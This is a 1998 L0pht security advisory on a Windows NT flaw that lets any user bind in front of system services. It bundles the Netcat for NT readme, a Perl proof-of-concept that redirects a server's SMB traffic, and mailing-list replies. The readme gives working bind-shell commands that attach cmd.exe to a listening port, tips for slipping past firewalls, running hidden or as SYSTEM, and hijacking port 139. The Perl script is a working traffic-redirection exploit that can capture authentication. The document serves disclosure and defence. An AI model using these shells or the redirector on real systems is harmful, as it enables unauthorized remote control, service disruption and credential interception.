Document:  L0pht Security Advisory
    URL Origin:  http://www.l0pht.com/advisories.html
  Release Date:  February 6th, 1998
   Application:  Windows NT
      Severity:  Users can bind to any port and block NT services
        Author:  weld@l0pht.com
 Operating Sys:  Windows NT

Description
-----------

NT allows any logged on user to bind to any port.  It also allows users
to bind to the ports used by services such as NETBIOS.  By specifying
a source IP to bind to, the user program takes precedence over the
NT services listening on the port.  This allows user programs to
listen for connections even when the machine is filtering incoming ports
using the TCP/IP Security Network filters, if the machine is running
any TCP/IP services.

This also allows a user program to disrupt services that are running on
the machine such as file sharing that otherwise would require
administrator privileges to terminate.

Netcat for NT allows a user to set up connections such as this.  Below
is the readme.txt file for Netcat 1.10 for NT which describes this in
detail plus other interesting things the program can do.  The zip file
for the executable and source code is located at:

http://www.l0pht.com/~weld/netcat/

Netcat 1.10 for NT - nc11nt.zip

The original version of Netcat was written by *hobbit* <hobbit@avian.org>
The NT version was done by Weld Pond <weld@l0pht.com>

Netcat for NT is the tcp/ip "Swiss Army knife" that never made it into any
of the resource kits.  It has proved to be an extremely versatile tool on
the unix platform. So why should NT always be unix's poor cousin when it
comes to tcp/ip testing and exploration?  I bet many NT admins out there
keep a unix box around to use tools such as Netcat or to test their systems
with the unix version of an NT vulnerability exploit.  With Netcat for NT
part of that feeling disempowerment is over.

Included with this release is Hobbit's original description of the powers
of Netcat.  In this document I will briefly describe some of the things an
NT admin might want to do and know about with Netcat on NT.  For more
detailed technical information please read hobbit.txt included in the
nc11nt.zip archive.

     Basic Features

     * Outbound or inbound connections, TCP or UDP, to or from any ports
     * Full DNS forward/reverse checking, with appropriate warnings
     * Ability to use any local source port
     * Ability to use any locally-configured network source address
     * Built-in port-scanning capabilities, with randomizer
     * Can read command line arguments from standard input
     * Slow-send mode, one line every N seconds
     * Hex dump of transmitted and received data
     * Ability to let another program service established
       connections
     * Telnet-options responder

     New for NT

     * Ability to run in the background without a console window
     * Ability to restart as a single-threaded server to handle a new
       connection

A simple example of using Netcat is to pull down a web page from a web
server.  With Netcat you get to see the full HTTP header so you can see
which web server a particular site is running.

Since NT has a rather anemic command processor, some of the things that are
easy in unix may be a bit more clunky in NT. For the web page example first
create a file get.txt that contains the following line and then a blank
line:

GET / HTTP/1.0

To use Netcat to retrieve the home page of a web site use the command:
nc -v www.website.com 80 < get.txt

You will see Netcat make a connection to port 80, send the text contained
in the file get.txt, and then output the web server's response to stdout.
The -v is for verbose.  It tells you a little info about the connection
when it starts.

It is a bit easier to just open the connection and then type at the console
to do the same thing.
nc -v www.website.com 80

Then just type in GET / HTTP/1.0 and hit a couple of returns.  You will
see the same thing as above.

A far more exciting thing to do is to get a quick shell going on a remote
machine by using the -l or "listen" option and the -e or "execute"
option.  You run Netcat listening on particular port for a connection.
When a connection is made, Netcat executes the program of your choice
and connects the stdin and stdout of the program to the network connection.

nc -l -p 23 -t -e cmd.exe

will get Netcat listening on port 23 (telnet).  When it gets connected to
by a client it will spawn a shell (cmd.exe).  The -t option tells Netcat
to handle any telnet negotiation the client might expect.

This will allow you to telnet to the machine you have Netcat listening on
and get a cmd.exe shell when you connect.  You could just as well use
Netcat instead of telnet:

nc xxx.xxx.xxx.xxx 23

will get the job done.  There is no authentication on the listening side
so be a bit careful here.  The shell is running with the permissions of the
process that started Netcat so be very careful.  If you were to use the
AT program to schedule Netcat to run listening on a port with the
-e cmd.exe option, when you connected you would get a shell with user
NT AUTHORITY\SYSTEM.

The beauty of Netcat really shines when you realize that you can get it
listening on ANY port doing the same thing.  Do a little exploring and
see if the firewall you may be behind lets port 53 through.  Run Netcat
listening behind the firewall on port 53.

nc -L -p 53 -e cmd.exe

Then from outside the firewall connect to the listening machine:

nc -v xxx.xxx.xxx.xx 53

If you get a command prompt then you are executing commands on the
listening machine.  Use 'exit' at the command prompt for a clean
disconnect. The -L (note the capital L) option will restart Netcat with
the same command line when the connection is terminated.  This way you can
connect over and over to the same Netcat process.

A new feature for the NT version is the -d or detach from console flag.
This will let Netcat run without an ugly console window cluttering up the
screen or showing up in the task list.

You can even get Netcat to listen on the NETBIOS ports that are probably
running on most NT machines.  This way you can get a connection to a
machine that may have port filtering enabled in the TCP/IP Security Network
control panel.  Unlike Unix, NT does not seem to have any security around
which ports that user programs are allowed to bind to.  This means any
user can run a program that will bind to the NETBIOS ports.

You will need to bind "in front of" some services that may already be
listening on those ports.  An example is the NETBIOS Session Service that
is running on port 139 of NT machines that are sharing files.  You need
to bind to a specific source address (one of the IP addresses of the
machine) to accomplish this.  This gives Netcat priority over the NETBIOS
service which is at a lower priority because it is bound to ANY IP address.
This is done with the Netcat -s option:

nc -v -L -e cmd.exe -p 139 -s xxx.xxx.xxx.xxx

Now you can connect to the machine on port 139 and Netcat will field
the connection before NETBIOS does.  You have effectively shut off
file sharing on this machine by the way.  You have done this with just
user privileges to boot.

PROBLEMS with Netcat 1.1 for NT

There are a few known problems that will eventually be fixed.  One is
the -w or timeout option.  This works for final net reads but not
for connections.  Another problem is using the -e option in UDP mode.
You may find that some of the features work on Windows 95.  Most
of the listening features will not work on Windows 95 however.   These will
be fixed in a later release.

Netcat is distributed with full source code so that people can build
upon this work.  If you add something useful or discover something
interesting about NT TCP/IP let met know.

Weld Pond <weld@l0pht.com>, 2/6/98

-------------------------------------------------------------------------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://l0pht.com/advisories.html

      Weld Pond   -  weld@l0pht.com   -   http://www.l0pht.com/~weld
      L  0  p  h  t    H  e  a  v  y    I  n  d  u  s  t  r  i  e  s
      Technical archives for the people  -  Bio/Electro/Crypto/Radio

----------------------------------------------------------------------------



This program uses the NT port binding vulnerability to redirect a
machine's SMB services to another machine. It was posted by Andrew
Tridgell <tridge@SAMBA.ANU.EDU.AU> on the Common Internet File System
<CIFS@DISCUSS.MICROSOFT.COM> mailing list.  The full message and the
thread surrounding it is available via the web at:

http://discuss.microsoft.com/SCRIPTS/WA-MSD.EXE?A2=ind9802b&L=cifs&P=738

-weld

#!/usr/bin/perl
# This script demonstrates a major security problem with
# Windows NT4. It is based on an earlier script (paul.pl) that
# demonstrated a problem with a protocol change that Microsoft
# proposed. The change in this script takes advantage of a security
# hole pointed out by L0pht (http://www.l0pht.com/).

# What this script does is allow any unprivileged user on a NT Server
# to redirect the local SMB services to any other SMB server which they
# have an IP address for. This allows the user to redirect file,
# printer and authentication services to another server. This has
# enormous consequences for security.

# This script was written by Andrew Tridgell and is being sent to
# the CIFS discussion list so that CIFS developers become aware
# of this problem. It should be noted that the L0pht announcement
# (which predates this script) already provided an example command
# using netcat to achieve the same thing so this script does
# not actually offer malicious hackers anything more than what has
# already been widely distributed. I wrote this example so that
# the consequences would become clear to the people who are
# in a position to do something about fixing the problem.

# USAGE:
# To use this script install perl5 then run the command
#        perl redirect.pl <localip> <remoteip>
# for example
#        perl redirect.pl 192.168.2.13 192.168.2.10
# this would redirect any SMB connections made to the local
# server (whose IP address is 192.168.2.13) to the remote
# server 192.168.2.10. Any browsing, file access, authentication
# requests or printing done to the local server by SMB clients
# will be redirected to the remote server.

# WORKAROUND:
# There is no immediate fix to this security problem yet available. A
# workaround is to disable local login access to non-trusted users.
# This can be achieved using the "User Manager For Domains". At many
# sites this will be an acceptable solution because NT servers are
# often used only for remote file and printer services and do not
# really need to offer the ability for users to run arbitrary programs

# FIX:
# A proper fix will require a patch from Microsoft. Hopefully they will
# either implement privileged ports or they will get the socket
# options correct on all their servers so such bind() tricks are
# not possible.

use IO::Socket;
use IO::Select;

if ($#ARGV != 1) {
    print "Usage: redirect.pl <localip> <remoteip>\n";
    exit 0;
}

my $local = $ARGV[0];
my $target = $ARGV[1];

my $smbport = "139";
my $Msg;

# this is a *SMBSERVER netbios name
my $netbname = "CKFDENECFDEFFCFGEFFCCACACACACACA";

print "setting up redirection from $local to $target ...\n";

# Create a local socket
$sock1 = new IO::Socket::INET(LocalAddr=>$local,LocalPort=>$smbport,
                              Proto=>'tcp',Listen=>5,Reuse=>1);

while (1) {

print "listening on $local\n";

# Accept a connection
$IS = $sock1->accept() || die;

# Open a socket to the remote host
$OS = new
IO::Socket::INET(PeerAddr=>$target,PeerPort=>$smbport,Proto=>'tcp') ||
die;

print "connected to $target\n";

# Create a read set for select()
$rs = new IO::Select();
$rs->add($IS,$OS);

$first = 1;
$finished = 0;

while(! $finished) {
    ($r_ready) = IO::Select->select($rs,undef,undef,undef);

    foreach $i (@$r_ready) {
        $o = $OS if $i == $IS;
        $o = $IS if $i == $OS;

        recv($i,$Msg,8192,0);
        if (! length $Msg) {
            $finished = 1;
            break;
        }

        if ($first && substr($Msg,0,1) eq "\x81") {
            print "replacing called name\n";
            $msg2 =
join('',substr($Msg,0,5),$netbname,substr($Msg,37,length($Msg)-37));
            send($o,$msg2,0);
            $first = 0;
        } else {
            if ($i == $OS) { $Msg =~ s/Paul/Oops/mg;}
            send($o,$Msg,0);
        }
    }
}

# loop back to the top again
}

----------------------------------------------------------------------------


> This program uses the NT port binding vulnerability to redirect a
> machine's SMB services to another machine.

Perhaps it is time to remind people that most Unix systems still have
problems in this same area.  On many systems, users can create
"more-specific" or "less-specific" bindings for non-reserved ports,
and thus steal traffic.

It's amusing that a major service this problem happens is with NFS,
the Unix SMB as it were.

----------------------------------------------------------------------------


At 09:45 PM 2/10/98 -0500, Weld Pond wrote:
># What this script does is allow any unprivileged user on a NT Server

One correction needs to be made here.  There is no such thing as an
unprivileged user on a default NT server.  The only accounts which are
allowed to log on locally by default are high level accounts, such as
admins and server ops.

># to redirect the local SMB services to any other SMB server which they
># have an IP address for. This allows the user to redirect file,
># printer and authentication services to another server. This has
># enormous consequences for security.

This part is something I can agree with, and this has some interesting
consequences for a Hydra server.

David LeBlanc           |Why would you want to have your desktop user,
dleblanc@mindspring.com |your mere mortals, messing around with a 32-bit
                        |minicomputer-class computing environment?
                        |Scott McNealy

----------------------------------------------------------------------------